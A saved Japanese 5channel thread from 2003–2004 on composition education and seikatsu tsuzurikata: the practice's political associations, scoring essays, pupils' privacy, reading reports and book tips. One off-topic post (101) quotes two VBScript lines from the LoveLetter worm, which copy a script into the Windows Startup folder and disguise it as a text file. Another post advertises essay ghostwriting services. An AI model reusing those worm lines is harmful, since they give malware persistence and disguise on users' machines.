5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

作文教育、生活綴方実践を語ろう

1 :作ちゃん文ちゃん:03/06/01 15:57 ID:Szk7x++x
日記を書き、学級で読み合う。
そういう作文教育・生活綴方実践について語るスレッドです。

88 :実習生さん:03/07/29 01:04 ID:ltu4KPot
T村の配布する資料は、新日本出版、あゆみ出版、など共産党系の出版社のものだけ。
「私は、民主教育の実践者」と自己満足している。

89 :実習生さん:03/07/29 01:09 ID:QCXsKfRP
中学の時、読書感想文の発表があったが何か馬鹿にしてた感じがする。
中には教科書での物語を出した奴がいた。それだけ馬鹿にしてた証拠。もう20年前の話ですが。
それより読書感想文はあくまでも感想でしかないわけです。もちろん文章を書くのには
本を読む事は基本でしょう。それゆえ、論文作成は実践的です。論文を書くには書物を読むのは必須です。
書き方の基本を教えるのは中学からやるべきで、時間をかけながら慣れた方が良いでしょう。
作文と読書感想文から脱却すべき時がきていると思います。受験にも関係する事ですから。





90 :実習生さん:03/07/29 10:08 ID:yUXoE1qc
なるほどね、T村。
あゆみ出版はつぶれたんじゃない? 確か。
あゆみから出ていた『子どもと教育』は、「子どもと教育社」から出てたんだけど、この4月から販売元が「ルック」になってた。
「民主教育の実践者」か。その実態とは? 教えて、T村教授。


91 :ぼるじょあ ◆yBEncckFOU :03/08/02 04:14 ID:Fa7UgnAZ
     ∧_∧  ∧_∧
ピュ.ー (  ・3・) (  ^^ ) <これからも僕たちを応援して下さいね(^^)。
  =〔~∪ ̄ ̄ ̄∪ ̄ ̄〕
  = ◎――――――◎                      山崎渉&ぼるじょあ

92 :実習生さん:03/08/06 10:24 ID:9ihGt6zN
日本作文の会というとことろが主催している作文教育研究大会にいってきました。
佐賀に1200人以上かな、集まったというのだから、すごい(今時)。
いろいろあるなあと実感。


93 :実習生さん:03/08/07 10:50 ID:epVxB6RM
波多野完治全集が面白い。
1巻・文章心理学、2巻・文章診断学、3巻・現代のレトリック、9巻・ことばの心理と教育
この辺りは必読でしょ。


94 :実習生さん:03/08/11 00:57 ID:Opt1Ee93
10日付け朝日の書評は面白かった。
関川夏央と内田樹は読んでみたい。
まあ、作文教育には直接関わらないだろうけど。
読んだ人、います?


95 :実習生さん:03/08/12 01:38 ID:OTV8BYVn
眠い。

96 :実習生さん:03/08/15 01:51 ID:ljKrxwqh
『民主と愛国』、めちゃ面白い。
特に9章。


97 :山崎 渉:03/08/15 20:15 ID:17gmP3f6
    (⌒V⌒)
   │ ^ ^ │<これからも僕を応援して下さいね(^^)。
  ⊂|    |つ
   (_)(_)                      山崎パン

98 :実習生さん:03/08/15 23:51 ID:2lAtzckL
うちの学校では、作文の数値化(点数化)を研究しとる。
ばかばかし〜と思いつつ、何も言えん。

99 :実習生さん:03/08/16 00:14 ID:pnF83FTj
>>98
マジですか。
どうやって作文を点数化するんだ??
何の意味があるんだい?
その研究成果、まとまったらカキコしてほし〜な〜。


100 :98:03/08/16 00:43 ID:xixssfw0
>>99
普通の公立校だから、研究にもならん研究しとるだけ・・・
最近、やたら数値目標を示せみたいなこと言われとるから、お上に忠誠を
示してるだけだろう。

101 :実習生さん:03/08/16 01:14 ID:H/gBYPw6
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

102 :実習生さん:03/08/17 14:30 ID:T8SstfW8
>>100
お上への忠誠か。
この忙しい学校現場で、そんなことのために、時間を割くなんて。
作文教育には、いろんな可能性があると思うのだけれど。
そんな点数化なんてことじゃなくて、他の方向で研究していく道はないのかなあ。


103 :あぼーん:あぼーん
あぼーん

104 :あぼーん:あぼーん
あぼーん

105 :実習生さん:03/08/18 14:02 ID:e669FnVo
>103,104
おー、こんなマニアックな板にも来たか。

106 :実習生さん:03/08/18 14:51 ID:zho+bRre


107 :実習生さん:03/08/18 14:53 ID:zho+bRre
??

108 :実習生さん:03/08/18 15:04 ID:uZ0oZBvK
>>102
点数化しないと説明責任が果たせないそうな。
絶対評価の世界では、作文も絵画も点数化しようという考え方が出てきて不思議
ない。
谷崎潤一郎→文の簡潔さに難(―20点)
大江健三郎→難解に過ぎる(―35点)
ピカソ→デッサン力に問題(―45点)
とかね。


109 :実習生さん:03/08/19 11:31 ID:SVb7n1pn
>108
ひどいなーと思いつつ、私も同じようなことをしている。
大学生のレポートを採点するときに、点数をつけろと要求される。
なぜ高い評価なのか、低い評価なのかを説明できなくちゃいけないし。


110 :実習生さん:03/08/20 22:48 ID:GFMEtvCy
>>1-109
思い切ってプロに書いてもらったら?

知育研究会
http://www.chiiku.com/thesis.htm
文章代行のジパング
http://homepage2.nifty.com/ZIPANG/bunshyo_index.html
CreativeStaff WP&D
http://www.din.or.jp/~spaceinn/data.html
スタジオエイドス
http://village.infoweb.ne.jp/~fwhx9027/daihitsu/
知的代筆(古槌代筆工房)
http://www.daihitsu.com/
WORDs工房
http://www.jnit.co.jp/honyaku/words.html
文章工房マユミ
http://www2.neweb.ne.jp/wc/kohmori/index.html
有限会社おふぃすラポート
http://wwwpat.hi-ho.ne.jp/rapport/
物書き屋
http://homepage2.nifty.com/monokakiya/

111 :実習生さん:03/08/23 15:36 ID:l+6ePUIZ
皆さんは、作文の評価ってどうしてます?

112 :実習生さん:03/08/27 20:09 ID:RDIbYebb
age

113 :実習生さん:03/09/09 02:16 ID:fcI/1It+
今、プライバシーがこれだけ叫ばれている中で、作文教育を進めることは難しいと思うのだけれど。

114 :実習生さん:03/09/09 03:54 ID:iGf+J9KM
>>113
禿同。
生活綴り方は、生活を見つめることから出発した。
そして、それが社会の矛盾を突き、社会改革のエネルギーともなった。ずいぶん↑にもあったが、一部の政治思想とも結びついたりもした。
農業や土木作業などに対する差別意識を克服していくのはよいと思うが、夜の水商売や風俗産業(それも違法ぎりぎり)で、何とか子供を養っている親も多い。
教師がその辺をどう指導するのか? また出来るのか?
この不況下で、子供が、「うちのお父さんは、会社をリストラされました」などと生活を見つめる作文を書いたら、それを発表させるのか?
古きよき時代の幻想を追うような生活綴り方実践には疑問を感じる。

115 :実習生さん:03/09/12 17:34 ID:Ma1n5gj9
>>114
同感です。
確かに、戦前の生活綴方実践や、戦後初期の実践記録や作品を読むと、感動するのだけれど、現代においても、そのようなスタイルの実践でやっていけるのかは大いに疑問。
あのような生活の矛盾を直視したような作品は、なかなか書かせることができないのではないでしょうか。
そうなった場合、そこで教師の力量不足となってしまうのでは?
この不況下の生活困難を見つめることは大事だと思うのだけれど、そのことをクラスで発表することにどういう意味があるのだろう?
いや、意味があることは否定しないが、私だったら、発表したくない。
皆が貧しかった時代から、そうではない現代においては、それだけ、闇は深くなっている。
それを、オープンにしていくことだけが必要なことだとは思わないのだけれど。


116 :実習生さん:03/09/20 01:24 ID:fRcxWEQ/
作文をやってる方の意見を聞きたいなあ。


117 :実習生さん:03/10/04 23:32 ID:NiSxeahz
?


118 :実習生さん:03/10/12 11:28 ID:fuqeVCIT
やった、三連休!
昨日、西本勝美の臨床心理・臨床教育学の論文を読んでました。
西本は、作文と臨床心理の共通性を書いてます。
異論もあるけど、今日的な作文教育の課題に通じる部分があるのでは?


119 :実習生さん:03/11/04 17:36 ID:U1MKS2VM
生活綴方は闇だけを暴き、すべてを公表する実践ではない。

120 :実習生さん:03/11/06 05:37 ID:TnCBy1Xm
http://www.asahi.com/national/update/1105/036.html

これってどうよ?


121 :実習生さん:03/11/06 06:43 ID:CiyECbDb
>>120
ルビの活用はいいと思う。どんどんルビがつき、読めない漢字が無くなれば、文章への
抵抗感はかなり減るだろう。また、

>このほか読書奨励策として、読書をしてきたことが、高校や大学の入試で何らかの形で評価され
>ることや、通知表への読書状況の記述などを盛り込んだ。

この点もいいだろう。読書力が問われない入試が、活字離れの一因であることは明白だからね。
ただ、具体的な評価指標はあるのか・・・そこが気になるのだが・・・。

122 :あぼーん:あぼーん
あぼーん

123 :実習生さん:03/11/06 10:34 ID:2aGIinO0
>>120
でもこれって結局「学校お墨付きの本」だけが対象になりそうな予感。
はっきり言って読書する子には課題図書なんか物足りないし、
読まない子には道徳臭プンプンでもっとつまらんだろうと思う。
コバルトやハヤカワSF、極端言えばやおいものとかどうすんのよ?

124 :実習生さん:03/11/06 13:12 ID:JiYpzeq3
>>23殿に1票。文章力を鍛えるのでなくいわば告発文だな。子供に学ぶというのはこういうことか。
必要以上に子供の目線にあわすんでなく、社会に出すために首に縄つけても引き上げるのが教育だと思ったりして。
綴り方について和田秀樹、野口悠紀夫、陰山英男各氏の意見が聞きたい。

125 :実習生さん:04/01/26 15:22 ID:wO/N8zxW
良スレage

126 :実習生さん:04/01/26 15:23 ID:wO/N8zxW
age

127 :実習生さん:04/01/27 01:39 ID:DNLMZssE
読者感想文でさ、課題図書指定しないものがあるでそ。
ああいうのって、教師はその本について絶対知らないのに
「あらすじを書くな」みたいな事言うんですよ。
喪前はこの本知ってるのかと。

128 :実習生さん:04/02/04 15:12 ID:L0HhMa5z
読書感想文って、書く意味あるの?
評論をするなら、きちんとした書評の書き方を教えるべきでは。


129 :実習生さん:04/02/05 19:40 ID:BmiDAqe7
age

130 :実習生さん:04/02/08 17:44 ID:ZqVFJ36G
初歩的な質問で申し訳ないのですが、
作文教育と生活綴方ってどう違うんですか。


131 :実習生さん:04/02/10 00:21 ID:Cs/nxgLN
『作文と教育』2月号の合評会を行う。
ほとんど発言が無い。そんなにつまらなかったかな。
数少ない出た発言も、批判モード。
はあ。そんなにひどかったかな。


132 :実習生さん:04/02/10 03:04 ID:Hl1bKWC/
月刊PSIKO2月号「教育の研究」を読む

http://www.tohjusha.co.jp

133 :実習生さん:04/02/11 15:22 ID:kNrwk3p9
>132
なるほど。おもしろそう。
民間人校長は批判されがちだけど、藤原和博さんはよさ気。
彼の本、おもしろいし。
それにしても、こういう特集で教育学研究者が執筆していないとは。
教育学研究者の元気が無いのか?



134 :実習生さん:04/02/13 01:00 ID:6yFv+Sqp
age

135 :実習生さん:04/02/14 12:19 ID:Kqz7uvLC
>>132
これって、年間購読のみか。
他の特集は関心が無いんだけどなあ。
こういう売り方、やめてほしい。


136 :実習生さん:04/02/14 12:24 ID:76Oe7J3i
作文は小学校、中学校の段階では
直接教師がこうやってこうやって、こう書くんだよと、
文を書き示してやれ








って大村はま先生が言ってました

137 :実習生さん:04/02/25 00:00 ID:Ny0yPOTC
大村はま先生って誰?

40 KB
新着レスの表示

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50
名前: E-mail (省略可) :


read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)